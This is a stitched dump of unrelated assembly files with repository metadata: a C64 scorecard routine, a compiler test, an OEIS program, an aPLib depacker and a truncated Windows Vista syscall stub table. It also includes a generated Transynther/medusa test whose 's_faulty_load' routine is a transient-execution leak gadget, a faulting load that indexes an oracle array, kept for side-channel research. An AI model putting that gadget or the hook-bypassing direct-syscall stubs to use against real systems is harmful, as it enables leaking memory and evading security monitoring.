MATHS2 lda font_l_CHAR_DATA_HI,x sta MATHS3 lda utils_v_dec_digits+1 clc adc #font_c_ASCII_0 tax lda font_l_CHAR_DATA_LO,x sta MATHS4 lda font_l_CHAR_DATA_HI,x sta MATHS5 ldy #0 - lda (MATHS2),y sta sc_v_digits_buffer+(2*8)+5,y lda (MATHS4),y sta sc_v_digits_buffer+8+5,y iny cpy #3 bne - - lda (MATHS2),y sta sc_v_digits_buffer+(5*8)-3,y lda (MATHS4),y sta sc_v_digits_buffer+(4*8)-3,y iny cpy #8 bne - ; Shift 0,1,2 two bits left. ; Then 3,4,5 (two bits left). ; FIXME: messy!!! ldx #0 .shift_loop asl sc_v_digits_buffer+(2*8),x rol sc_v_digits_buffer+8,x rol sc_v_digits_buffer,x asl sc_v_digits_buffer+(2*8),x rol sc_v_digits_buffer+8,x rol sc_v_digits_buffer,x ; Replace the 'background' color lost at right edge. lda #$03 ora sc_v_digits_buffer+(2*8),x sta sc_v_digits_buffer+(2*8),x asl sc_v_digits_buffer+(5*8),x rol sc_v_digits_buffer+(4*8),x rol sc_v_digits_buffer+(3*8),x asl sc_v_digits_buffer+(5*8),x rol sc_v_digits_buffer+(4*8),x rol sc_v_digits_buffer+(3*8),x lda #$03 ora sc_v_digits_buffer+(5*8),x sta sc_v_digits_buffer+(5*8),x inx cpx #8 bne .shift_loop rts ; end sub sc_s_write_digit_chars_to_buffer } ; !zone ; ************************************************** ; INPUTS: MATHS2-3 = destination of top-left byte. !zone { sc_s_write_buffer_to_bitmap lda MATHS2 clc adc #<320 sta MATHS4 lda MATHS3 adc #>320 sta MATHS5 ldy #0 - lda sc_v_digits_buffer,y sta (MATHS2),y lda sc_v_digits_buffer+(3*8),y sta (MATHS4),y iny cpy #(3*8) bne - rts ; end sub sc_s_write_buffer_to_bitmap } ; !zone ; ************************************************** !zone { sc_s_ghost_digits_buffer lda #$bb sta sc_v_digits_buffer+12 sta sc_v_digits_buffer+13 sta sc_v_digits_buffer+14 sta sc_v_digits_buffer+33 sta sc_v_digits_buffer+34 sta sc_v_digits_buffer+35 lda #$ef sta sc_v_digits_buffer+15 sta sc_v_digits_buffer+32 rts ; end sub sc_s_ghost_digits_buffer } ; !zone ; ************************************************** ; INPUTS: COLORS_LO (2 = front 9 total, 1 = back 9 total). ; OUTPUTS: C flag clear - OK to process total; C flag set - not used !zone { sc_s_check_if_playing_18_holes_for_totals lda shared_v_holes beq .end cmp #shared_c_PLAYING_FRONT_9 beq .front9 ; So we're playing back 9 only. lda COLORS_LO cmp #2 bne .end beq + .front9 lda COLORS_LO cmp #1 bne .end + jsr sc_s_ghost_digits_buffer sec rts ; EXIT POINT. .end clc rts ; end sub sc_s_check_if_playing_18_holes_for_totals } ; !zone ; ************************************************** ; ************************************************** ; ************************************************** ; ************************************************** ; ************************************************** ; ************************************************** ; ************************************************** ; ************************************************** sctblsp_c_SIZE = *-sctblsp_c_BEGIN
21.215712
151
0.611561
dec3b8d6ee683d71bafcf2cfe689cdfb9140be02
4,918
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_21829_2714.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_21829_2714.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_21829_2714.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r14 push %r8 push %r9 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x1c2ec, %rsi lea addresses_D_ht+0x1568c, %rdi nop nop nop add $22161, %r8 mov $29, %rcx rep movsb nop cmp $62533, %r14 lea addresses_WT_ht+0x114fa, %r9 nop nop dec %rbx mov $0x6162636465666768, %r8 movq %r8, (%r9) xor %r8, %r8 lea addresses_UC_ht+0xef6c, %rsi lea addresses_UC_ht+0x376c, %rdi sub $6865, %rdx mov $38, %rcx rep movsb nop nop nop nop sub %rdi, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r14 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r8 push %rbp push %rbx push %rcx // Store lea addresses_US+0x4c59, %r8 clflush (%r8) nop nop nop xor $46418, %rcx mov $0x5152535455565758, %rbp movq %rbp, (%r8) nop nop nop nop cmp $32005, %r8 // Faulty Load lea addresses_A+0x15f6c, %r12 nop nop dec %rbx movb (%r12), %cl lea oracles, %r10 and $0xff, %rcx shlq $12, %rcx mov (%r10,%rcx,1), %rcx pop %rcx pop %rbx pop %rbp pop %r8 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_A', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_US', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_A', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 1, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
47.288462
2,999
0.661041
2254764f2ccd48dc9fc64d2fbcb6892e8873d8dc
396
asm
Assembly
test-ok-NAS-45.asm
acastrauss/compiler_project
540e96493350d5cb34a7259a74bb1ecb1f3a3a2b
[ "MIT" ]
null
null
null
test-ok-NAS-45.asm
acastrauss/compiler_project
540e96493350d5cb34a7259a74bb1ecb1f3a3a2b
[ "MIT" ]
null
null
null
test-ok-NAS-45.asm
acastrauss/compiler_project
540e96493350d5cb34a7259a74bb1ecb1f3a3a2b
[ "MIT" ]
null
null
null
main: PUSH %14 MOV %15,%14 SUBS %15,$8,%15 SUBS %15,$16,%15 SUBS %15,$4,%15 @main_body: MOV $1,-4(%14) MOV $2,-8(%14) MOV $0,-16(%14) MOV $3,-20(%14) MOV $1,-24(%14) MOV $3,-28(%14) SUBS -20(%14),$3,%0 MOV -24(%14),%1 ADDS $1,-24(%14),-24(%14) ADDS %0,%1,%0 MOV %0,-12(%14) MOV -12(%14),%13 JMP @main_exit @main_exit: MOV %14,%15 POP %14 RET
15.84
27
0.482323
f80d419e507f6cf1108ecf4b58d64805341bebcc
750
asm
Assembly
oeis/250/A250771.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/250/A250771.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/250/A250771.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A250771: Number of (3+1) X (n+1) 0..1 arrays with nondecreasing x(i,j)-x(i,j-1) in the i direction and nondecreasing absolute value of x(i,j)-x(i-1,j) in the j direction. ; 36,66,114,196,344,622,1158,2208,4284,8410,16634,33052,65856,131430,262542,524728,1049060,2097682,4194882,8389236,16777896,33555166,67109654,134218576,268436364,536871882,1073742858,2147484748,4294968464,8589935830,17179870494,34359739752,68719478196,137438955010,274877908562,549755815588,1099511629560,2199023257422,4398046513062,8796093024256,17592186046556,35184372091066,70368744179994,140737488357756,281474976713184,562949953423942,1125899906845358,2251799813688088,4503599627373444 add $0,7 mov $1,$0 bin $0,2 sub $1,4 mov $2,2 pow $2,$1 add $0,$2 sub $0,11 mul $0,2
57.692308
490
0.808
6be7a73878a61b8d1b1b087c4e24cebfef8eb9ec
3,851
asm
Assembly
books_and_notes/professional_courses/Security/sources/extra_books/加密与解密第四版光盘资料/chap19/19.1&19.2&19.3 汇编写外壳/PE-Armor_VC版/src/pediy/aplib/aPLib-0.42/src/asm/depacks.asm
gxw1/review_the_national_post-graduate_entrance_examination
8812779a7a4ce185a531d120562d5194b697c0c9
[ "MIT" ]
640
2019-03-30T11:32:43.000Z
2022-03-31T14:05:18.000Z
books_and_notes/professional_courses/Security/sources/extra_books/加密与解密第四版光盘资料/chap19/19.1&19.2&19.3 汇编写外壳/PE-Armor_VC版/src/pediy/aplib/aPLib-0.42/src/asm/depacks.asm
yyzVegst/review_the_national_post-graduate_entrance_examination
8812779a7a4ce185a531d120562d5194b697c0c9
[ "MIT" ]
6
2019-07-22T01:57:24.000Z
2022-01-20T15:03:16.000Z
books_and_notes/professional_courses/Security/sources/extra_books/加密与解密第四版光盘资料/chap19/19.1&19.2&19.3 汇编写外壳/PE-Armor_VC版/src/pediy/aplib/aPLib-0.42/src/asm/depacks.asm
yyzVegst/review_the_national_post-graduate_entrance_examination
8812779a7a4ce185a531d120562d5194b697c0c9
[ "MIT" ]
212
2019-04-10T02:31:50.000Z
2022-03-30T02:32:47.000Z
;; ;; aPLib compression library - the smaller the better :) ;; ;; TASM / MASM / WASM safe assembler depacker ;; ;; Copyright (c) 1998-2004 by Joergen Ibsen / Jibz ;; All Rights Reserved ;; ;; http://www.ibsensoftware.com/ ;; .386p .MODEL flat getbitM MACRO LOCAL stillbitsleft add dl, dl jnz stillbitsleft sub dword ptr [esp + 4], 1 ; read one byte from source jc return_error ; mov dl, [esi] inc esi add dl, dl inc dl stillbitsleft: ENDM getbitM domatchM MACRO reg push ecx mov ecx, [esp + 60] ; ecx = dstlen sub ecx, [esp + 4] ; ecx = num written cmp reg, ecx pop ecx ja return_error sub [esp], ecx ; write ecx bytes to destination jc return_error ; push esi mov esi, edi sub esi, reg rep movsb pop esi ENDM domatchM getgammaM MACRO reg LOCAL getmorebits mov reg, 1 getmorebits: getbitM adc reg, reg jc return_error getbitM jc getmorebits ENDM getgammaM .CODE PUBLIC _aP_depack_asm_safe _aP_depack_asm_safe: pushad mov esi, [esp + 36] ; C calling convention mov eax, [esp + 40] mov edi, [esp + 44] mov ecx, [esp + 48] push eax push ecx test esi, esi jz return_error test edi, edi jz return_error cld xor edx, edx literal: sub dword ptr [esp + 4], 1 ; read one byte from source jc return_error ; mov al, [esi] add esi, 1 sub dword ptr [esp], 1 ; write one byte to destination jc return_error ; mov [edi], al add edi, 1 mov ebx, 2 nexttag: getbitM jnc literal getbitM jnc codepair xor eax, eax getbitM jnc shortmatch getbitM adc eax, eax getbitM adc eax, eax getbitM adc eax, eax getbitM adc eax, eax jz thewrite mov ebx, [esp + 56] ; ebx = dstlen sub ebx, [esp] ; ebx = num written cmp eax, ebx ja return_error push edi sub edi, eax mov al, [edi] pop edi thewrite: sub dword ptr [esp], 1 ; write one byte to destination jc return_error ; mov [edi], al inc edi mov ebx, 2 jmp nexttag codepair: getgammaM eax sub eax, ebx mov ebx, 1 jnz normalcodepair getgammaM ecx domatchM ebp jmp nexttag normalcodepair: dec eax test eax, 0ff000000h jnz return_error shl eax, 8 sub dword ptr [esp + 4], 1 ; read one byte from source jc return_error ; mov al, [esi] inc esi mov ebp, eax getgammaM ecx cmp eax, 32000 sbb ecx, -1 cmp eax, 1280 sbb ecx, -1 cmp eax, 128 adc ecx, 0 cmp eax, 128 adc ecx, 0 domatchM eax jmp nexttag shortmatch: sub dword ptr [esp + 4], 1 ; read one byte from source jc return_error ; mov al, [esi] inc esi xor ecx, ecx db 0c0h, 0e8h, 001h jz donedepacking adc ecx, 2 mov ebp, eax domatchM eax mov ebx, 1 jmp nexttag return_error: add esp, 8 popad or eax, -1 ; return APLIB_ERROR in eax ret donedepacking: add esp, 8 sub edi, [esp + 40] mov [esp + 28], edi ; return unpacked length in eax popad ret END
16.670996
63
0.495456
eb1a36b0c484da7254cbc2db09d0015e5f01934c
115,522
asm
Assembly
project/ntstub/amd64/6_0_6000_sp0_ssdt_sysenter.asm
rmusser01/windows-syscall-table
6216a2559d714eb04bad278792a6544ab8f21d41
[ "BSD-3-Clause" ]
6
2018-01-18T02:30:27.000Z
2020-01-11T03:42:33.000Z
project/ntstub/amd64/6_0_6000_sp0_ssdt_sysenter.asm
stonedreamforest/windows-syscall-table
6216a2559d714eb04bad278792a6544ab8f21d41
[ "BSD-3-Clause" ]
null
null
null
project/ntstub/amd64/6_0_6000_sp0_ssdt_sysenter.asm
stonedreamforest/windows-syscall-table
6216a2559d714eb04bad278792a6544ab8f21d41
[ "BSD-3-Clause" ]
3
2017-12-29T07:50:35.000Z
2020-10-15T09:28:54.000Z
; DO NOT MODIFY THIS FILE DIRECTLY! ; author: @TinySecEx ; ssdt asm stub for 6.0.6000-sp0-windows-vista amd64 option casemap:none option prologue:none option epilogue:none .code ; ULONG64 __stdcall NtMapUserPhysicalPagesScatter( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtMapUserPhysicalPagesScatter PROC STDCALL mov r10 , rcx mov eax , 0 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtMapUserPhysicalPagesScatter ENDP ; ULONG64 __stdcall NtWaitForSingleObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtWaitForSingleObject PROC STDCALL mov r10 , rcx mov eax , 1 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtWaitForSingleObject ENDP ; ULONG64 __stdcall NtCallbackReturn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtCallbackReturn PROC STDCALL mov r10 , rcx mov eax , 2 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCallbackReturn ENDP ; ULONG64 __stdcall NtReadFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); _6_0_6000_sp0_windows_vista_NtReadFile PROC STDCALL mov r10 , rcx mov eax , 3 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtReadFile ENDP ; ULONG64 __stdcall NtDeviceIoControlFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 ); _6_0_6000_sp0_windows_vista_NtDeviceIoControlFile PROC STDCALL mov r10 , rcx mov eax , 4 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtDeviceIoControlFile ENDP ; ULONG64 __stdcall NtWriteFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); _6_0_6000_sp0_windows_vista_NtWriteFile PROC STDCALL mov r10 , rcx mov eax , 5 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtWriteFile ENDP ; ULONG64 __stdcall NtRemoveIoCompletion( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtRemoveIoCompletion PROC STDCALL mov r10 , rcx mov eax , 6 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtRemoveIoCompletion ENDP ; ULONG64 __stdcall NtReleaseSemaphore( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtReleaseSemaphore PROC STDCALL mov r10 , rcx mov eax , 7 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtReleaseSemaphore ENDP ; ULONG64 __stdcall NtReplyWaitReceivePort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtReplyWaitReceivePort PROC STDCALL mov r10 , rcx mov eax , 8 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtReplyWaitReceivePort ENDP ; ULONG64 __stdcall NtReplyPort( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtReplyPort PROC STDCALL mov r10 , rcx mov eax , 9 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtReplyPort ENDP ; ULONG64 __stdcall NtSetInformationThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtSetInformationThread PROC STDCALL mov r10 , rcx mov eax , 10 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetInformationThread ENDP ; ULONG64 __stdcall NtSetEvent( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtSetEvent PROC STDCALL mov r10 , rcx mov eax , 11 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetEvent ENDP ; ULONG64 __stdcall NtClose( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtClose PROC STDCALL mov r10 , rcx mov eax , 12 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtClose ENDP ; ULONG64 __stdcall NtQueryObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtQueryObject PROC STDCALL mov r10 , rcx mov eax , 13 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryObject ENDP ; ULONG64 __stdcall NtQueryInformationFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtQueryInformationFile PROC STDCALL mov r10 , rcx mov eax , 14 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryInformationFile ENDP ; ULONG64 __stdcall NtOpenKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtOpenKey PROC STDCALL mov r10 , rcx mov eax , 15 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenKey ENDP ; ULONG64 __stdcall NtEnumerateValueKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtEnumerateValueKey PROC STDCALL mov r10 , rcx mov eax , 16 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtEnumerateValueKey ENDP ; ULONG64 __stdcall NtFindAtom( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtFindAtom PROC STDCALL mov r10 , rcx mov eax , 17 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtFindAtom ENDP ; ULONG64 __stdcall NtQueryDefaultLocale( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtQueryDefaultLocale PROC STDCALL mov r10 , rcx mov eax , 18 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryDefaultLocale ENDP ; ULONG64 __stdcall NtQueryKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtQueryKey PROC STDCALL mov r10 , rcx mov eax , 19 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryKey ENDP ; ULONG64 __stdcall NtQueryValueKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtQueryValueKey PROC STDCALL mov r10 , rcx mov eax , 20 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryValueKey ENDP ; ULONG64 __stdcall NtAllocateVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtAllocateVirtualMemory PROC STDCALL mov r10 , rcx mov eax , 21 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAllocateVirtualMemory ENDP ; ULONG64 __stdcall NtQueryInformationProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtQueryInformationProcess PROC STDCALL mov r10 , rcx mov eax , 22 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryInformationProcess ENDP ; ULONG64 __stdcall NtWaitForMultipleObjects32( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtWaitForMultipleObjects32 PROC STDCALL mov r10 , rcx mov eax , 23 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtWaitForMultipleObjects32 ENDP ; ULONG64 __stdcall NtWriteFileGather( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); _6_0_6000_sp0_windows_vista_NtWriteFileGather PROC STDCALL mov r10 , rcx mov eax , 24 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtWriteFileGather ENDP ; ULONG64 __stdcall NtSetInformationProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtSetInformationProcess PROC STDCALL mov r10 , rcx mov eax , 25 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetInformationProcess ENDP ; ULONG64 __stdcall NtCreateKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); _6_0_6000_sp0_windows_vista_NtCreateKey PROC STDCALL mov r10 , rcx mov eax , 26 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateKey ENDP ; ULONG64 __stdcall NtFreeVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtFreeVirtualMemory PROC STDCALL mov r10 , rcx mov eax , 27 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtFreeVirtualMemory ENDP ; ULONG64 __stdcall NtImpersonateClientOfPort( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtImpersonateClientOfPort PROC STDCALL mov r10 , rcx mov eax , 28 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtImpersonateClientOfPort ENDP ; ULONG64 __stdcall NtReleaseMutant( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtReleaseMutant PROC STDCALL mov r10 , rcx mov eax , 29 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtReleaseMutant ENDP ; ULONG64 __stdcall NtQueryInformationToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtQueryInformationToken PROC STDCALL mov r10 , rcx mov eax , 30 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryInformationToken ENDP ; ULONG64 __stdcall NtRequestWaitReplyPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtRequestWaitReplyPort PROC STDCALL mov r10 , rcx mov eax , 31 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtRequestWaitReplyPort ENDP ; ULONG64 __stdcall NtQueryVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtQueryVirtualMemory PROC STDCALL mov r10 , rcx mov eax , 32 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryVirtualMemory ENDP ; ULONG64 __stdcall NtOpenThreadToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtOpenThreadToken PROC STDCALL mov r10 , rcx mov eax , 33 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenThreadToken ENDP ; ULONG64 __stdcall 